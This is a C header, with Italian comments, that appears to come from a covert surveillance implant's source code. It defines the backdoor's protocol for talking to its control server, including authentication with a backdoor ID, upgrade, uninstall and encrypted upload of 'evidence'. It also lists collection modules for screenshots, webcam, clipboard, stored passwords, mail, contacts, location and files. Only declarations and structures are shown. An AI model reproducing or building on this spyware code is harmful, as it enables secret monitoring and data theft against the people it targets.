#pragma once

#include <windows.h>

#include "../Runtime/Runtime.h"
#include "../Actproxy/bin_patch.h"
#include "winhttp_helper.h"

#pragma pack(1)

#define INVALID_COMMAND         (UINT)0x0       // Non usare
#define PROTO_OK                (UINT)0x1       // OK
#define PROTO_NO                (UINT)0x2       // Richiesta senza risposta
#define PROTO_BYE               (UINT)0x3       // Chiusura di connessione
#define PROTO_NEW_CONF          (UINT)0x7       // Nuova configurazione
#define PROTO_EVIDENCE          (UINT)0x9       // Spedisce un evidence
#define PROTO_UNINSTALL         (UINT)0xa       // Disinstallazione
#define PROTO_EVIDENCE_SIZE     (UINT)0x0b		// 
#define PROTO_ID                (UINT)0xf       // Identificazione    
#define PROTO_UPGRADE           (UINT)0x16      // Riceve un upgrade
#define PROTO_FILESYSTEM        (UINT)0x19 
#define PROTO_DOWNLOAD          (UINT)0xc       // DOWNLOAD, restituisce la lista dei nomi(in WCHAR, NULL terminati)

#define BLOCK_LEN 16
#define PAD_NOPAD 0
#define PAD_PKCS5 1

#define PM_DEVICEINFO			0xfff1
#define PM_SCREENSHOT			0xfff2	
#define PM_IMAGENT_SOCIAL		0xC6C7	
#define PM_CONTACTSAGENT		0x0200
#define PM_CLIPBOARDAGENT		0xD9D9
#define PM_LOCATION				0x1220
#define PM_WEBCAMAGENT			0xE9E9
#define PM_PSTOREAGENT			0xFAFA
#define PM_MAILAGENT			0x1001  
#define PM_EXPLOREDIR			0xEDA1
#define PM_DOWNLOAD				0xD0D0  
#define PM_URLAGENT				0X180
#define PM_PHOTO				0xF070
#define PM_FILEAGENT		    0x0000
#define PM_FILEAGENT_CAPTURE	0x0001

#define LOG_VERSION	2008121901

typedef struct _LOG_HEADER
{
	ULONG uVersion;			// Versione della struttura
	ULONG uLogType;			// Tipo di log
	ULONG uHTimestamp;		// Parte alta del timestamp
	ULONG uLTimestamp;		// Parte bassa del timestamp
	ULONG uDeviceIdLen;		// IMEI/Hostname len
	ULONG uUserIdLen;		// IMSI/Username len
	ULONG uSourceIdLen;		// Numero del caller/IP len	
	ULONG uAdditionalData;	// Lunghezza della struttura addizionale, se presente
} LOG_HEADER, *PLOG_HEADER;


typedef struct _PASCAL_STRING
{
	DWORD dwStringLen;
	WCHAR lpStringBuff[1];
} PASCAL_STRING, *LPPASCAL_STRING;

__declspec(align(32))
typedef struct _PROTO_COMMAND_AUTH
{
	ULONG Version;
	BYTE Kd[16];
	BYTE Sha1[20];
	BYTE BdoorID[16];
	BYTE InstanceID[20];
	struct
	{
		BYTE Arch;		// windows 0
		BYTE Demo;		// demo 1, release 0
		BYTE Stage;		// elite 1, soldier 2
		BYTE Flags;		// reserverd 0;
	} SubType;
} PROTO_COMMAND_AUTH, *LPPROTO_COMMAND_AUTH;



typedef struct _PROTO_RESPONSE_AUTH
{
	BYTE pRandomData[16];
	BYTE pSha1Digest[20];
	ULONG uProtoCommand;
	ULONG64 uTime;
} PROTO_RESPONSE_AUTH, *LPPROTO_RESPONSE_AUTH;

typedef struct _PROTO_RESPONSE_ID
{
	ULONG uProtoCommand;
	ULONG uMessageLen;
	ULONG64 uTime;
	ULONG uAvailables;
} PROTO_RESPONSE_ID, *LPPROTO_RESPONSE_ID;

typedef struct _PROTO_RESPONSE_UPGRADE
{
	ULONG uProtoCommand;
	ULONG uResponseLen;
	ULONG uUpgradeLeft;
	ULONG uUpgradeNameLen;
	WCHAR pUpgradeNameBuffer;
} PROTO_RESPONSE_UPGRADE, *LPPROTO_RESPONSE_UPGRADE;


LPBYTE DecodeMessage(PRUNTIME pRuntime, LPBYTE lpMessage, DWORD dwMessageSize, BOOL bBase64, LPDWORD dwOut);

VOID CalculateSessionKey(PRUNTIME pRuntime, LPBYTE lpRandomNonce);
ULONG CommandHash(PRUNTIME pRuntime, __in ULONG uProtoCmd, __in LPBYTE pMessage, __in ULONG uMessageLen, __in LPBYTE pEncryptionKey, __out LPBYTE *pOutBuff);
PBYTE CreateLogHeader(PRUNTIME pRuntime, __in ULONG uEvidenceType, __in PBYTE pAdditionalData, __in ULONG uAdditionalDataLen, __out PULONG uOutLen);

LPBYTE GetResponse(PRUNTIME pRuntime, BOOL bBase64, LPDWORD dwOut);
LPBYTE GetUserUniqueHash(PRUNTIME pRuntime);

LPBYTE PackEncryptEvidence(PRUNTIME pRuntime, __in DWORD dwBufferSize, __in LPBYTE lpInBuffer, __in DWORD dwEvType, __in LPBYTE lpAdditionalData, __in DWORD dwAdditionalDataLen, __out LPDWORD dwOut);
LPPASCAL_STRING PascalizeString(PRUNTIME pRuntime, __in LPWSTR lpString, __in LPDWORD dwOutLen);
BOOL ProtoAuth(PRUNTIME pRuntime);
LPSTR ProtoMessageAuth(PRUNTIME pRuntime);
LPBYTE ProtoMessageId(PRUNTIME pRuntime, LPDWORD dwMsgLen);
BOOL ProtoId(PRUNTIME pRuntime);

BOOL Synch(PRUNTIME pRuntime);

BOOL VerifyMessage(PRUNTIME pRuntime, LPBYTE lpRandNonce, LPBYTE lpHash);

/* module vars */
typedef struct _VARIABLES_PROTOCOL
{
	BYTE pCurrentRandomData[16];	
	BYTE pSessionKey[20];
	
	/* winhttp_helper */
	HINTERNET hGlobalInternet;
	HINTERNET hSession;
	HINTERNET hConnect;
}VARIABLES_PROTOCOL, *PVARIABLES_PROTOCOL;

/* module strings */
typedef struct _STRINGS_PROTOCOL
{
	CHAR strFormatD[3];
	WCHAR strUsername[36]; // UNICODE
	WCHAR strComputername[52]; // UNICODE
	WCHAR strEmptyUnicode[4]; // UNICODE
	WCHAR strFormatUnicodeHttp[40]; // UNICODE
	CHAR strFormatS[3];
	CHAR strWTypes[16];
	WCHAR strPost[20]; // UNICODE
	WCHAR strContentLength[76]; // UNICODE
	CHAR strFormats[3];
	CHAR strDEBUG_response_fail[35];
	WCHAR strFormatUnicodeS[12]; // UNICODE
}STRINGS_PROTOCOL, *PSTRINGS_PROTOCOL;